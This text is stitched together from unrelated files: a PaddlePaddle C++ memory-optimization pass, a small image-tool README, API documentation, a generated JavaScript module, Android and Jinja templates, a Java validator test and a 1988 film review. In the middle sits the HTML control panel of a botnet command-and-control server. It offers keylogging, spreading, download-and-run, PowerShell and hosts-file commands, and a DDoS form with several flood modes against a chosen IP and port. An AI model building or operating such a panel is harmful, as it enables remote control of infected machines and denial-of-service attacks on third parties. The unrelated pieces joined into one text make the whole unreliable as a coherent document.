  auto res = std::make_pair(std::numeric_limits<size_t>::max(),
                            std::numeric_limits<size_t>::min());
  for (auto& item : ave_size) {
    res.first = std::min(item.second, res.first);
    res.second = std::max(item.second, res.second);
  }
  return res;
}

void MemoryOptimizePass::RunImpl(Argument* argument) {
  // When force update, should not optimize memory.
  if (!argument->enable_memory_optim() ||
      argument->static_memory_optim_force_update())
    return;
  graph_ = argument->main_graph_ptr();

  auto path = GetMemoryCachePath(
      argument->model_dir_valid() ? argument->model_dir() : "",
      argument->model_program_path_valid() ? argument->model_program_path()
                                           : "");
  VLOG(3) << "Load memory cache from " << path;
  std::vector<std::map<std::string, std::vector<int>>> batches;

  if (!(argument->static_memory_optim() && inference::IsFileExists(path))) {
    string::PrettyLogInfo("--- Performing dynamic memory optimize");
    // batches = FakeBatchVarShapes(argument->main_program());
    int sort_kind = 0;
    std::unordered_map<std::string, lifecycle_t> lifecycles;
    space_table_t space_table;
    std::unordered_map<std::string, std::string> node2cluster;
    std::unordered_map<std::string, int> cluster_size;

    CollectLifeCycle(&lifecycles, sort_kind);
    CollectVarMemorySize(&space_table);
    MakeSimpleReusePlan(lifecycles, space_table, &node2cluster, &cluster_size);
    UpdateOpDescsByReuse(graph_, node2cluster, sort_kind);
    return;

  } else {
    string::PrettyLogInfo("--- Performing static memory optimize");
    batches = DeseralizeBatchVarShapes(path);
  }
  auto var_batch_ave_size = GetBatchAverageSize(batches);

  // Get min and max memory size.
  const auto range = GetRange(var_batch_ave_size);
  const int cluster_size = std::max(
      static_cast<int>((range.second - range.first) / 100 /*cluster num*/),
      1024);
  const int cluster_size1 = std::max(
      static_cast<int>((range.second - range.first) / 1000 /*cluster num*/),
      1024);

  std::unordered_map<std::string, Node*> tensor_nodes;
  space_table_t space_table;
  CollectVarMemorySize(var_batch_ave_size, &tensor_nodes, &space_table);

  std::unordered_map<std::string, std::string> reuse_table;
  double max_saving_ratio = 0.;

  std::vector<std::function<MemoryAllocation()>> strategies;

  for (int sort_kind = 0; sort_kind < 2; sort_kind++) {
    if (argument->static_memory_optim()) {
      // This strategy only make scene in static memory optimize.
      strategies.emplace_back([&, sort_kind] {
        auto clustered_vars_by_batch_size =
            AnalysisBatchShapesByBatchSize(batches);
        MemoryAllocation allocation;
        MakeReusePlan(clustered_vars_by_batch_size, var_batch_ave_size,
                      space_table, &reuse_table, sort_kind, &allocation);
        return allocation;
      });
    }

    strategies.emplace_back([&, sort_kind] {
      auto clustered_vars_by_ave_size =
          AnalysisBatchShapesBySimilarSize(space_table, batches, cluster_size);
      MemoryAllocation allocation;
      MakeReusePlan(clustered_vars_by_ave_size, var_batch_ave_size, space_table,
                    &reuse_table, sort_kind, &allocation);
      return allocation;
    });

    strategies.emplace_back([&, sort_kind] {
      auto clustered_vars_by_ave_size =
          AnalysisBatchShapesBySimilarSize(space_table, batches, cluster_size1);
      MemoryAllocation allocation;
      MakeReusePlan(clustered_vars_by_ave_size, var_batch_ave_size, space_table,
                    &reuse_table, sort_kind, &allocation);
      return allocation;
    });

    strategies.emplace_back([&, sort_kind] {
      auto clustered_vars_by_ave_size = AnalysisBatchShapesBySimilarSize(
          space_table, batches,
          std::numeric_limits<int>::max());  // no intervals
      MemoryAllocation allocation;
      MakeReusePlan(clustered_vars_by_ave_size, var_batch_ave_size, space_table,
                    &reuse_table, sort_kind, &allocation);
      return allocation;
    });
  }

  std::function<MemoryAllocation()>* best_strategy{nullptr};

  // Try all strategies to get the best result.
  for (auto& strategy : strategies) {
    auto allocation = strategy();
    string::PrettyLogDetail("--- get strategy saving %f memory for workspace",
                            allocation.GetSavingRatio());
    if (allocation.GetSavingRatio() > max_saving_ratio) {
      max_saving_ratio = allocation.GetSavingRatio();
      best_strategy = &strategy;
    }
  }
  if (!best_strategy) {
    LOG(ERROR) << "This model makes poor memory optimize, skip memory optimize";
    return;
  }
  auto memory_allocation = (*best_strategy)();

  string::PrettyLogInfo(
      "--- Saved %.2f%s memory for workspace(temporary variables)",
      memory_allocation.GetSavingRatio() * 100, "%");

  argument->main_graph().Set(framework::ir::kGraphToProgramVarsToRemove,
                             new std::unordered_set<std::string>);
  auto& vars2remove =
      argument->main_graph().Get<std::unordered_set<std::string>>(
          framework::ir::kGraphToProgramVarsToRemove);

  PerformReusePlan(reuse_table, memory_allocation.sort_kind, &vars2remove);
  argument->SetMemoryOptimSortKind(memory_allocation.sort_kind);
}

float MemoryOptimizePass::MemoryAllocation::GetSavingRatio() const {
  return (saved / 1024.) / (allocated / 1024. + saved / 1024.);
}
}  // namespace analysis
}  // namespace inference
}  // namespace paddle


text:
Simply premultiply the alpha of images.  It's written in Python but runs quickly because it uses Numpy.

The main problem with this program is that you have to install its dependencies to get it to work.  That can be time consuming and annoying.  Also, Pillow has been known to break its own APIs from time to time.

## Dependencies ##

 - Numpy
 - Pillow (the friendly PIL fork)

`easy_install Pillow`
`easy_install numpy`

Usage:

    python imgpremultiply.py *.png

## Patch request ##

I would accept a patch that detects whether PIL is installed and just runs a slow Python-only version if it is not.  Most people don't need the speed and it just takes longer to install the dependency than the time saved to use it.


text:
INuiFusionMesh Members
======================

**INuiFusionMesh** has the following members.

Methods
=======

<colgroup>
<col width="30%" />
<col width="60%" />
</colgroup>

Name
Description

GetNormals
Gets the mesh normals.

GetTriangleIndices
Gets the mesh triangle indices.

GetVertices
Gets the mesh vertices.

NormalCount
Gets the number of normals in the mesh.

TriangleVertexIndexCount
Gets the number of triangle vertex indices for the mesh.

VertexCount
Gets the number of vertices in the mesh.


text:
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.maxTransformDependencies = void 0;

var _dependenciesLarger = require("./dependenciesLarger.generated");

var _dependenciesTyped = require("./dependenciesTyped.generated");

var _factoriesNumber = require("../../factoriesNumber.js");

/**
 * THIS FILE IS AUTO-GENERATED
 * DON'T MAKE CHANGES HERE
 */
var maxTransformDependencies = {
  largerDependencies: _dependenciesLarger.largerDependencies,
  typedDependencies: _dependenciesTyped.typedDependencies,
  createMaxTransform: _factoriesNumber.createMaxTransform
};
exports.maxTransformDependencies = maxTransformDependencies;


text:
<?xml version="1.0" encoding="utf-8"?>
<!--
  ~ Copyright (C) 2015 Actor LLC. <https://actor.im>
  -->

<im.actor.sdk.controllers.conversation.view.BubbleContainer xmlns:android="http://schemas.android.com/apk/res/android"
    android:id="@+id/mainContainer"
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:clickable="true">

    <im.actor.sdk.controllers.conversation.view.BubbleTextContainer
        android:id="@+id/fl_bubble"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:duplicateParentState="true">

        <TextView
            android:id="@+id/tv_text"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_gravity="top|left"
            android:includeFontPadding="false"
            android:textSize="15sp" />

        <LinearLayout
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:layout_gravity="bottom|right"
            android:layout_marginBottom="-4dp"
            android:layout_marginRight="-4dp"
            android:baselineAligned="false"
            android:gravity="center_vertical"
            android:paddingLeft="4dp">

            <TextView
                android:id="@+id/tv_time"
                android:layout_width="wrap_content"
                android:layout_height="wrap_content"
                android:gravity="center_vertical"
                android:includeFontPadding="false"
                android:textSize="13sp" />

            <im.actor.sdk.view.TintImageView
                android:id="@+id/stateIcon"
                android:layout_width="16dp"
                android:layout_height="9dp"
                android:layout_marginLeft="2dp" />
        </LinearLayout>

    </im.actor.sdk.controllers.conversation.view.BubbleTextContainer>
</im.actor.sdk.controllers.conversation.view.BubbleContainer>


text:
<!doctype html>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Botnet C&C: Control Panel</title>

    <link rel="stylesheet" href="http://yui.yahooapis.com/pure/0.6.0/pure-min.css">

	Botnet C&C

Control Panel

File Browser

            User Managment

Logout

Control Panel

{STATS}

<form class="pure-form" method="POST" action="./sendcmd">

            GUID
            IP
            WHO AM I
            OS
			ADMIN RIGHTS
			LAST CHECK-IN

   {RAWTABLE}

	  Previous

	Next

    <fieldset class="pure-group">
	<legend>Command</legend>
         <select id="botsselection" name="botsselection" class="pure-input-1-2">
                    <option value="000">All</option>
                    <option value="selected">Selected</option>
                </select>
        <select id="commandtype" name="commandtype" class="pure-input-1-2">
                    <option value="0x1">Open URL</option>
                    <option value="0x2">Run Application</option>
					<option value="0x5">Download and Run</option>
					<option value="2x4">Enable/Disable Keylogger</option>
					<option value="0x0">Kill Me</option>
					<option value="0x6">Run Powershell</option>
					<option value="0x7">Spreader</option>
					<option value="0x8">Start Webserver</option>
					<option value="0x9">Edit Webserver Page</option>
					<option value="1x0">Hide Process Window</option>
					<option value="1x1">Seed Torrent</option>
					<option value="1x2">System Power Options</option>
					<option value="1x3">Set Homepage</option>
					<option value="1x4">Set Wallpaper</option>
					<option value="1x5">Edit HOST File</option>
					<option value="1x6">Uninstall Me</option>
					<option value="1x7">Open Port</option>
					<option value="1x8">Run Script</option>
					<option value="1x9">Run Command</option>
					<option value="2x0">Enable Reverse Proxy Server</option>
					<option value="2x1">Push File to Client</option>
					<option value="2x2">Kill Process</option>
					<option value="2x3">Update Client</option>
                </select>
    </fieldset>

    <fieldset class="pure-group">
        <textarea id="arg1" name="arg1" class="pure-input-1-2" placeholder="Arguments"></textarea>

		 Use '|' to split Arguments
    </fieldset>

    <button type="submit" class="pure-button pure-input-1-2 pure-button-primary">  Send Command</button>   Refresh Info
</form>

<form class="pure-form" method="POST" action="./cmdddos">
<fieldset class="pure-group">
<legend>DDoS Attack</legend>
         <select id="ddosmode" name="ddosmode" class="pure-input-1-2">
                    <option value="0">HTTP Get</option>
                    <option value="5">TCP Flood</option>
					<option value="4">UDP Flood</option>
					<option value="1">Slowloris</option>
					<option value="2">HULK</option>
					<option value="3">TLS Flood</option>
					<option value="7">Bandwidth Drain</option>
					<option value="6">Golden Eye</option>
					<option value="8">Ace</option>
                </select>
				</fieldset>
        <input type="text" name="ip" class="pure-input-1-2" placeholder="127.0.0.1">
        <input type="text" name="port" class="pure-input-1-2" placeholder="80">
		<fieldset class="pure-group">
        <input type="text" name="threads" class="pure-input-1-2" placeholder="Threads 1000">
		<input type="text" name="interval" class="pure-input-1-2" placeholder="Interval 500 * Milliseconds">

		 DDoS Attacks utilize all bots
		</fieldset>
    <button type="submit" class="pure-button pure-input-1-2 pure-button-primary">  Send Command</button>   Stop Attack

</form>


text:
    {{ splashPageText.heading }}

    {{ splashPageText.subheading }}

        {{ splashPageText.drawToolOneName }}

    {% for description in splashPageText.drawToolOneDescriptions %}

{{ description }}

    {% endfor %}

        {{ splashPageText.drawToolTwoName }}

    {% for description in splashPageText.drawToolTwoDescriptions %}

{{ description }}

    {% endfor %}

        {{ splashPageText.drawToolThreeName }}

    {% for description in splashPageText.drawToolThreeDescriptions %}

{{ description }}

    {% endfor %}
    {% if dataCatalogEnabled %}

                CINERGI
                <a data-toggle="popover" tabindex="0"
                   data-html="true" data-container="body" role="button"
                   data-content="The Community Inventory of EarthCube Resources for Geosciences Interoperability (CINERGI) Data Portal is a catalog of databases, services and data portals developed by numerous organizations representing a diversity of geoscience domains. Explore CINERGI at http://cinergi.sdsc.edu/"
                   data-template="

">

                HydroShare
                <a data-toggle="popover" tabindex="0"
                   data-html="true" data-container="body" role="button"
                   data-content="HydroShare is an online collaborative environment for sharing hydrologic data and models. Its goal is to facilitate creation, collaboration around, discovery and access to data and model resources shared by members of the Hydrology community. See https://www.hydroshare.org/"
                   data-template="

">

                CUAHSI Water Data Center (WDC)
                <a data-toggle="popover" tabindex="0"
                   data-html="true" data-container="body" role="button"
                   data-content="The Consortium of Universities for the Advancement of Hydrologic Science, Inc. (CUAHSI) Water Data Center (WDC) provides tools for data access, analysis and collaboration, including a Catalog of hydrological time series data available as Water One Flow (WOF) and WaterML web services. See https://www.cuahsi.org/data-models/discovery-and-analysis/"
                   data-template="

">

    {% endif %}

<button id="get-started" class="btn btn-active btn-lg btn-block" type="button">
    {{ splashPageText.getStartedButtonTitle }}

</button>

{% if dataCatalogEnabled %}
<button class="btn btn-link btn-block">

        {{ splashPageText.bigCZLinkTitle }}

</button>
{% endif %}

{% if dataCatalogEnabled %}

Supported by:

{% endif %}


text:
package com.hubspot.singularity.data;

import javax.ws.rs.WebApplicationException;

import org.junit.Assert;
import org.junit.Test;

import com.google.inject.Inject;
import com.hubspot.singularity.RequestType;
import com.hubspot.singularity.SingularityDeploy;
import com.hubspot.singularity.SingularityRequest;
import com.hubspot.singularity.SingularityRequestBuilder;
import com.hubspot.singularity.SingularityTestBaseNoDb;

public class ValidatorTest extends SingularityTestBaseNoDb {

  @Inject
  private SingularityValidator validator;

  /**
   * Standard cron: day of week (0 - 6) (0 to 6 are Sunday to Saturday, or use names; 7 is Sunday, the same as 0)
   * Quartz: 1-7 or SUN-SAT
   */

  @Test
  public void testCronExpressionHandlesDayIndexing() {
    Assert.assertEquals("0 0 12 ? * SUN", validator.getQuartzScheduleFromCronSchedule("0 12 * * 7"));
    Assert.assertEquals("0 0 12 ? * SAT", validator.getQuartzScheduleFromCronSchedule("0 12 * * 6"));
    Assert.assertEquals("0 0 12 ? * SUN", validator.getQuartzScheduleFromCronSchedule("0 12 * * 0"));
    Assert.assertEquals("0 0 12 ? * SUN-FRI", validator.getQuartzScheduleFromCronSchedule("0 12 * * 0-5"));
    Assert.assertEquals("0 0 12 ? * SUN,MON,TUE,WED", validator.getQuartzScheduleFromCronSchedule("0 12 * * 0,1,2,3"));
    Assert.assertEquals("0 0 12 ? * MON,TUE,WED", validator.getQuartzScheduleFromCronSchedule("0 12 * * MON,TUE,WED"));
    Assert.assertEquals("0 0 12 ? * MON-WED", validator.getQuartzScheduleFromCronSchedule("0 12 * * MON-WED"));
  }

  @Test(expected = WebApplicationException.class)
  public void itForbidsBracketCharactersInDeployIds() throws Exception {
    final String badDeployId = "deployKey[[";

    SingularityDeploy singularityDeploy = SingularityDeploy.newBuilder(badDeployId, badDeployId).build();
    SingularityRequest singularityRequest = new SingularityRequestBuilder(badDeployId, RequestType.SERVICE).build();

    validator.checkDeploy(singularityRequest, singularityDeploy);
  }

  @Test(expected = WebApplicationException.class)
  public void itForbidsQuotesInDeployIds() throws Exception {
    final String badDeployId = "deployKey'";

    SingularityDeploy singularityDeploy = SingularityDeploy.newBuilder(badDeployId, badDeployId).build();
    SingularityRequest singularityRequest = new SingularityRequestBuilder(badDeployId, RequestType.SERVICE).build();

    validator.checkDeploy(singularityRequest, singularityDeploy);
  }

}


text:
<TITLE>Review for Bull Durham (1988)</TITLE>
<LINK REL="STYLESHEET" TYPE="text/css" HREF="/ramr.css">

Bull Durham (1988)

reviewed by
Mark R. Leeper

                                 BULL DURHAM
                       A film review by Mark R. Leeper
                        Copyright 1988 Mark R. Leeper

          Capsule review:  Comedy-drama about a minor league
     baseball team and a love triangle involving two players.  The
     major characters are fleshed out well, but it would have been
     better to see more of some of the others.  Rating: +1.

     BULL DURHAM is a kind of comedy we don't see much of any more.  There
are a lot of comedies being made now, but most seem to be of a formula.
Take one or more comics established by being on SATURDAY NIGHT LIVE, SECOND
CITY, etc., and add a script full of jokes you would have to be blind AND
deaf to miss--by definition subtlety means someone might miss a gag.  The
comedies you get then are films like the horribly unfunny SPIES LIKE US,
DRAGNET, and DR. DETROIT.  BULL DURHAM is more like the comedies they made
most of the time in the 1940s and 1950s.  What humor it has is derived from
the interaction of believable personalities in believable situations.  The
only thing keeping BULL DURHAM from being a throwback to the subtler
comedies of the 1940s is several fairly explicit sex scenes.

     BULL DURHAM tells the story of one season in the life of a minor league
ball team, the Durham Bulls.  The team has, among others, a pitcher, Nuke
Laloosh (played by Tim Robbins), who has a hundred-horsepower pitching arm
and a nine-volt brain; a catcher, Crash Davis (well-played by Kevin
Costner); and two groupies.  One groupie is the owner's daughter (played by
Jenny Robertson) and the other, Annie Savoy (played by Susan Sarandon), is
an odd fan who has turned baseball into a sort of religion and has sort of
become a team institution.  Crash has been hired not just to catch, but also
to keep Nuke out of trouble as the big, dumb super-pitcher is groomed for
the majors.  His job is complicated by the attentions of Ms. Savoy, who is
indecisive whether it is the pitcher or the catcher she wants to sleep with.

     BULL DURHAM gives us some tantalizing views of the characters of the
team members and especially the managers, but unfortunately these characters
are never filled out.  Most of the story deals with Sarandon's character
who--for someone with no more status with the team than "fan"--is never far
from the action.  Some of the action she generates herself by tying ball
players to beds and reading to them poetry by Blake and Whitman.  And though
Costner's character is a bit stereotypical--the embittered veteran player--
he plays the role well.  With a rating of +1 on the -4 to +4 scale, it
brings to four the number of sports films I have liked.  (THE NATURAL got a
+3 from me, and IT HAPPENS EVERY SPRING and HOOSIERS got +1s.)

                                        Mark R. Leeper
                                        att!mtgzz!leeper
                                        leeper%mtgzz@att.arpa

The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).

The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.

Please direct comments/criticisms of the review to relevant newsgroups.

Broken URLs inthe reviews are the responsibility of the author.

The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.

Related links: index of all rec.arts.movies.reviews reviews